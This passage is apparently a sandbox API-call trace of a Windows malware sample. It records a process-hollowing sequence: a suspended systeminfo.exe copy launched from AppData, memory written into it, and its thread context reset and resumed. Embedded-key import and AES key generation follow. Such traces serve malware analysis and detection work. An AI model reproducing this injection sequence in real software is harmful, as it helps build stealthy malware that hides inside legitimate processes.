(lpBaseAddress=0x110000) returned 1 [0042.797] CloseHandle (hObject=0x120) returned 1 [0042.797] CloseHandle (hObject=0x124) returned 1 [0042.797] GetComputerNameW (in: lpBuffer=0x36f7b8, nSize=0x36f7d8 | out: lpBuffer="YKYD69Q", nSize=0x36f7d8) returned 1 [0042.797] _snprintf (in: _Dest=0xac2a8, _Count=0x104, _Format="%S_%08X" | out: _Dest="YKYD69Q_705BA84C") returned 16 [0042.797] SignalObjectAndWait (hObjectToSignal=0x128, hObjectToWaitOn=0x120, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0042.797] ResetEvent (hEvent=0x128) returned 1 [0042.797] ReleaseMutex (hMutex=0x124) returned 1 [0042.797] CloseHandle (hObject=0x124) returned 1 [0042.797] GetTickCount () returned 0x19fa8 [0042.797] CreateTimerQueueTimer (in: phNewTimer=0x36f7d8, TimerQueue=0x0, Callback=0xa8e20, Parameter=0x0, DueTime=0x1388, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x36f7d8*=0x3c4518) returned 1 [0042.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 44 os_tid = 0x82c Thread: id = 45 os_tid = 0x84c [0047.795] GetTickCount () returned 0x1b337 [0051.944] GetTickCount () returned 0x1c2d1 [0068.673] GetTickCount () returned 0x20415 [0068.673] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x273f6a0, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0068.673] _snwprintf (in: _Dest=0x273f498, _Count=0x104, _Format="\"%s\" /scomma \"%s\"" | out: _Dest="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" /scomma \"C:\\ProgramData\\FB2F.tmp\"") returned 100 [0068.673] VirtualAlloc (lpAddress=0x0, dwSize=0x1c000, flAllocationType=0x3000, flProtect=0x4) returned 0xbc0000 [0068.674] WTSGetActiveConsoleSessionId () returned 0x1 [0068.674] WTSQueryUserToken (SessionId=0x1, phToken=0x273f8c4*=0xa2b118) returned 0 [0068.674] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" /scomma \"C:\\ProgramData\\FB2F.tmp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x273f430*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x273f8ac | out: lpCommandLine="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" /scomma \"C:\\ProgramData\\FB2F.tmp\"", lpProcessInformation=0x273f8ac*(hProcess=0x3f8, hThread=0x3fc, dwProcessId=0x66c, dwThreadId=0x660)) returned 1 [0068.742] VirtualQueryEx (in: hProcess=0x3f8, lpAddress=0x400000, lpBuffer=0x273f454, dwLength=0x1c | out: lpBuffer=0x273f454*(BaseAddress=0x400000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7e0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0068.742] VirtualAllocEx (hProcess=0x3f8, lpAddress=0x400000, dwSize=0x1c000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0068.742] GetThreadContext (in: hThread=0x3fc, lpContext=0x273f188 | out: lpContext=0x273f188*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xbe18a0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0068.743] IsWow64Process (in: hProcess=0x3f8, Wow64Process=0x273f474 | out: Wow64Process=0x273f474) returned 1 [0068.743] WriteProcessMemory (in: hProcess=0x3f8, lpBaseAddress=0x400000, lpBuffer=0xbc0000*, nSize=0x1c000, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xbc0000*, lpNumberOfBytesWritten=0x0) returned 1 [0068.744] WriteProcessMemory (in: hProcess=0x3f8, lpBaseAddress=0x7efde008, lpBuffer=0x273f478*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x273f478*, lpNumberOfBytesWritten=0x0) returned 1 [0068.744] WriteProcessMemory (in: hProcess=0x3f8, lpBaseAddress=0x7efdf010, lpBuffer=0x273f478*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x273f478*, lpNumberOfBytesWritten=0x0) returned 1 [0068.744] SetThreadContext (hThread=0x3fc, lpContext=0x273f188*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x41211a, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0068.744] ResumeThread (hThread=0x3fc) returned 0x1 [0068.782] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0xffffffff) returned 0x0 [0074.245] CloseHandle (hObject=0x3f8) returned 1 [0074.245] CloseHandle (hObject=0x3fc) returned 1 [0074.245] CloseHandle (hObject=0x0) returned 0 [0074.245] VirtualFree (lpAddress=0xbc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.246] GetTickCount () returned 0x219c6 [0074.481] GetTickCount () returned 0x21ab0 [0074.482] GetTickCount () returned 0x21ab0 [0074.482] GetTickCount () returned 0x21ab0 [0074.547] GetTickCount () returned 0x21afe [0075.483] GetTickCount () returned 0x21e97 [0075.483] GetTickCount () returned 0x21e97 [0075.483] GetTickCount () returned 0x21e97 [0075.561] GetTickCount () returned 0x21ee5 [0076.497] GetTickCount () returned 0x2228d [0076.497] GetTickCount () returned 0x2228d [0076.497] GetTickCount () returned 0x2228d [0077.497] GetTickCount () returned 0x22673 [0077.497] GetTickCount () returned 0x22673 [0077.497] GetTickCount () returned 0x22673 [0077.579] GetTickCount () returned 0x226c1 [0078.502] GetTickCount () returned 0x22a5a [0078.502] GetTickCount () returned 0x22a5a [0078.502] GetTickCount () returned 0x22a5a [0078.586] GetTickCount () returned 0x22aa8 [0079.494] GetTickCount () returned 0x22e40 [0079.494] GetTickCount () returned 0x22e40 [0079.494] CryptAcquireContextW (in: phProv=0xa6ec2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0xa6ec2c*=0x3f03a8) returned 1 [0079.494] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0xa12f8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x273f8c0, pcbStructInfo=0x273f8c4 | out: pvStructInfo=0x273f8c0, pcbStructInfo=0x273f8c4) returned 1 [0079.494] CryptImportKey (in: hProv=0x3f03a8, pbData=0x33b0660, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0xa6ec30 | out: phKey=0xa6ec30*=0x3db768) returned 1 [0079.494] LocalFree (hMem=0x33b0660) returned 0x0 [0079.494] CryptGenKey (in: hProv=0x3f03a8, Algid=0x660e, dwFlags=0x1, phKey=0xa6ec34 | out: phKey=0xa6ec34*=0x3db868) returned 1 [0079.494] CryptCreateHash (in: hProv=0x3f03a8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0xa6ec38 | out: phHash=0xa6ec38) returned 1 [0079.494] GetTickCount () returned 0x22e40 [0079.570] GetTickCount () returned 0x22e8e [0080.491] GetTickCount () returned 0x23226 [0080.491] GetTickCount () returned 0x23226 [0080.491] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0080.491] CreateFileW (lpFileName="C:\\ProgramData\\FB6F.tmp" (normalized: "c:\\programdata\\fb6f.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0080.492] SetEvent (hEvent=0x3b4) returned 1 [0080.492] GetTickCount () returned 0x23226 [0080.569] GetTickCount () returned 0x23274 [0081.489] GetTickCount () returned 0x2360d [0081.489] CryptAcquireContextW (in: phProv=0x2ad1c2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x2ad1c2c*=0x3f03a8) returned 1 [0081.490] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0xa12f8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x273f8c0, pcbStructInfo=0x273f8c4 | out: pvStructInfo=0x273f8c0, pcbStructInfo=0x273f8c4) returned 1 [0081.490] CryptImportKey (in: hProv=0x3f03a8, pbData=0x33b0660, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0x2ad1c30 | out: phKey=0x2ad1c30*=0x3db628) returned 1 [0081.490] LocalFree (hMem=0x33b0660) returned 0x0 [0081.490] CryptGenKey (in: hProv=0x3f03a8, Algid=0x660e, dwFlags=0x1, phKey=0x2ad1c34 | out: phKey=0x2ad1c34*=0x3db868) returned 1 [0081.490] CryptCreateHash (in: hProv=0x3f03a8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x2ad1c38 | out: phHash=0x2ad1c38) returned 1 [0081.490] GetTickCount () returned 0x2360d [0081.567] GetTickCount () returned 0x2365b Thread: id = 46 os_tid = 0x864 [0048.791] GetTickCount () returned 